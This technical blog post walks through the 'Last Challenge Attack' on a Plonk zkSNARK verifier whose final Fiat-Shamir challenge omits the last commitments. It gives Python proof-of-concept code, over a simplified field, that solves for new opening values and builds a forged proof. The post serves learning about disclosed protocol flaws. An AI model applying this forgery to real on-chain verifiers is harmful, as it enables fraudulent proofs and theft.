Fiat-Shamir Exploit to Attack a Plonk Verifier

This experiment was inspired by a recent YouTube publication from the OpenZeppelin team titled “The Last Challenge Attack”, which focused on an incorrectly implemented Plonk verifier. I decided to investigate how challenging it would be to replicate this attack if we had such a verifier in our possession. In this article, I will delve deeply into the problem and provide a working example of the attack.

In the security report, it is stated that the vulnerability was due to an incorrect implementation of the last challenge calculation. Despite the calculation providing ‘randomness’, the implementation was still vulnerable to attack.

Plonk verifier KZG multi point verification

To understand the root cause of the attack, we need to revisit the basics of the Plonk protocol. In essence, Plonk utilizes the KZG commitment scheme for proof generation and verification. Originally, KZG is designed as an interactive commitment scheme.

KZG commitment

The prover sends a commitment, denoted as [P], to a verifier. The verifier then selects a random value ‘r’ and sends it to the prover, who evaluates the polynomial at ‘r’. After this evaluation, the prover sends the calculated opening, P(r), back to the verifier. Based on the provided information, the verifier can either approve or reject the proof. It is in the verifier’s own interest to choose a value ‘r’ that the prover cannot predict. For instance, if the prover can anticipate ‘r’, they can easily deceive the verifier.

Plonk is a non-interactive protocol, which means that the KZG scheme is modified to support this characteristic. Thanks to the Fiat-Shamir heuristic, the prover and verifier can agree on random values (challenges) without interaction. This agreement is achieved by hashing the transcript of the protocol. Although hashing can facilitate consensus between the prover and verifier, it’s still possible to predict the values derived from it. Therefore, the protocol must be designed with a stronger relationship between its variables. Does this sound very abstract? Let’s make it more visual.

This equation is used by the verifier to determine the validity of the proof; if it holds, then the proof is accepted. The variable denoted as ‘u’ is our point of attack. What this equation does is compare the results of two pairing functions. But for now let’s focus on ‘u’ variable.

The proof generation process in Plonk involves five rounds. At the end of each round, we obtain a more detailed transcript, with values in the columns [a], [b], etc., which constitute the proof. These values are used to generate challenges. By the end of the fifth round, it is clear that ‘u’ depends on transcripts from the previous rounds as well as on [Wz] and [Wzω]. This dependency is vital; if compromised, a malicious prover could potentially create fake proofs. The reason for this vulnerability is straightforward: the verifier is a smart contract deployed on the blockchain, and its code is publicly accessible. Achieving randomness on-chain is difficult because all nodes in the network must maintain the same state, meaning that any ‘randomness’ computed on one node must be replicable on others. This issue was the focal point of the report: the challenge ‘u’ was not dependent on the last two polynomial commitments. Without this dependency, ‘u’ can be precomputed, effectively becoming a constant. This reduction in complexity makes the verification equation easier to solve, potentially compromising the system’s integrity.

Let’s revisit our original equation. Upon reviewing it again, we can see that it forms a system of equations where [Wz] and [Wzω] are the unknown variables, and everything else, including ‘u’, can be computed beforehand. This implies that we have the capability to solve this system of equations.

Now that we have a solution, creating a fake proof simply requires modifying any values of the original proof, including the public input. After these modifications, new values for [Wz] and [Wzω] can be calculated.

Let’s proceed to code this attack. But before we delve in, one small remark is necessary: verification is conducted over elliptic curve points. For convenience, we can forego encryption and even reduce the field size, choosing instead to work directly with polynomial values. This approach will yield the same results.

Complete attack script can be found here on the github

zkSNARK-under-the-hood/plonk_attack.ipynb at main · tarassh/zkSNARK-under-the-hood

Coding

First, we assume we have a verifier with the weakness:

# Values provided by the prover (round 1 to 5) is a proof.
a_exp = round1[0]
b_exp = round1[1]
c_exp = round1[2]

z_exp = round2[0]

tl_exp = round3[0]
tm_exp = round3[1]
th_exp = round3[2]

a_zeta, b_zeta, c_zeta, s1_zeta, s2_zeta, z_omega_zeta = round4

w_zeta_exp = round5[0]
w_omega_zeta_exp = round5[1]

beta = numbers_to_hash(round1 + [0], Fp)
gamma = numbers_to_hash(round1 + [1], Fp)
alpha = numbers_to_hash(round1 + round2, Fp)
zeta = numbers_to_hash(round1 + round2 + round3, Fp)

v = numbers_to_hash(round1 + round2 + round3 + round4, Fp)
# We assume that verifier generates value for u not dependent on round 5
# u = numbers_to_hash(round1 + round2 + round3 + round4 + round5, Fp)

# and algorithm is predictable, but here for simplicity we just hardcode the value
u = Fp(2)

Prover has to use valid proof in order to get A, and B from the equations above.

Zh_z = Zh(zeta)
L1_z = L1(zeta)
PI_z = PI(zeta)

r0 = (
    PI_z
    - L1_z * alpha**2
    - (a_zeta + beta * s1_zeta + gamma)
    * (b_zeta + beta * s2_zeta + gamma)
    * (c_zeta + gamma)
    * z_omega_zeta
    * alpha
)

D_exp = (
    qm_exp * a_zeta * b_zeta
    + ql_exp * a_zeta
    + qr_exp * b_zeta
    + qo_exp * c_zeta
    + qc_exp
)

D_exp += z_exp * (
    (a_zeta + beta * zeta + gamma)
    * (b_zeta + beta * zeta * k1 + gamma)
    * (c_zeta + beta * zeta * k2 + gamma)
    * alpha
    + L1_z * alpha**2
    + u
)

D_exp -= (
    s3_exp
    * (a_zeta + beta * s1_zeta + gamma)
    * (b_zeta + beta * s2_zeta + gamma)
    * alpha
    * beta
    * z_omega_zeta
)

D_exp -= (tl_exp + tm_exp * zeta**n + th_exp * zeta ** (2 * n)) * Zh_z

F_exp = (
    D_exp
    + a_exp * v
    + b_exp * v**2
    + c_exp * v**3
    + s1_exp * v**4
    + s2_exp * v**5
)

E_exp = (
    -r0
    + v * a_zeta
    + v**2 * b_zeta
    + v**3 * c_zeta
    + v**4 * s1_zeta
    + v**5 * s2_zeta
    + u * z_omega_zeta
)


# This is  our A
e1 = w_zeta_exp + w_omega_zeta_exp * u

# This is our B
e2 = (
    w_zeta_exp * zeta
    + w_omega_zeta_exp * (u * zeta * omega)
    + F_exp
    + (E_exp * Fp(p - 1))
)

Now we need to what values to modify. In my case I am going to change value a_zeta from the proof which is calculated in round 4.

# Malicious prover modifies the proof by a value of choice
a_zeta = Fp(1)

# dependent values has to be recalculated
round4[0] = a_zeta
v = numbers_to_hash(round1 + round2 + round3 + round4, Fp)

After the value is changed we need to calculate E_expand F_exp :

// .... same as before

F_exp = (
    D_exp
    + a_exp * v
    + b_exp * v**2
    + c_exp * v**3
    + s1_exp * v**4
    + s2_exp * v**5
)

E_exp = (
    -r0
    + v * a_zeta
    + v**2 * b_zeta
    + v**3 * c_zeta
    + v**4 * s1_zeta
    + v**5 * s2_zeta
    + u * z_omega_zeta
)

Now we can calculate our new [Wz] and [Wzω]:

# Capture original solutions to the equation
A = e1
B = e2

# New adjusted solutions to the equation
C = F_exp - E_exp

# New W(ω*zeta)
y = (B - C - A * zeta) * (u * omega * zeta - u * zeta) ** (-1)

# New W(zeta)
x = (A * omega * zeta - B + C) * (omega * zeta - zeta) ** (-1)

# make sure they are not same as original values
assert w_zeta_exp != x
assert w_omega_zeta_exp != y

e1_new = x + y * u
e2_new = x * zeta + y * (u * zeta * omega) + F_exp - E_exp

assert e1_new * tau == e2_new

And we are ready to create forged proof:

proof = {
    "A": round1[0],
    "B": round1[1],
    "C": round1[2],
    "Z": round2[0],
    "Tl": round3[0],
    "Tm": round3[1],
    "Th": round3[2],
    "Wzeta": x,
    "Womega_zeta": y,
    "a_zeta": a_zeta,
    "b_zeta": round4[1],
    "c_zeta": round4[2],
    "s1_zeta": round4[3],
    "s2_zeta": round4[4],
    "z_omega_zeta": round4[5],
}

Credit to the OpenZeppelin team for this insightful report. It serves as a fascinating showcase that has helped me understand how zk (zero-knowledge) protocols are constructed and balanced with security considerations.